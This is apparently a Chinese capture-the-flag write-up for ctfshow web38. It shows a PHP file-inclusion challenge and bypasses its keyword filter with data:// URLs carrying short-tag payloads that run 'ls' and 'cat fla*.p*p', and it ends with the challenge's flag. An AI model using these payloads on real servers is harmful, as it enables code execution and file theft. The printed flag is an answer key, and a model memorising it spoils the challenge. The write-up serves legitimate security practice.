ctfshow-web38
题目描述:
原理:
审计:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){ //过滤了flag php file
include($c); //文件包含漏洞
echo $flag; //输出变量flag
}
}else{
highlight_file(__FILE__);
}
方法:
思路:
绕过flag php file 的过滤,利用include函数文件包含漏洞
同web38利用data为协议
但是对比web38,多过滤了php,所以之前的payload不能用,我们尝试使用短标签 = 代替php
短标签
<?php 这是完整标签
<? 这是短标签
//php.ini中 short_open_tag = On //除<?php ?>,可使用更灵活的调用方法
<? /*程序操作*/
?> <?=/*函数*/?>
http://6ae1efb2-fde0-4a71-85ab-4f8883df5fac.challenge.ctf.show/?c=data://text/plain,<?= system("ls");?>
http://6ae1efb2-fde0-4a71-85ab-4f8883df5fac.challenge.ctf.show/?c=data://text/plain,<?= system("cat fla*.p*p");?>
Flag:
ctfshow{0ba40c96-eb3c-45a0-a94e-f7754f8fbc8a}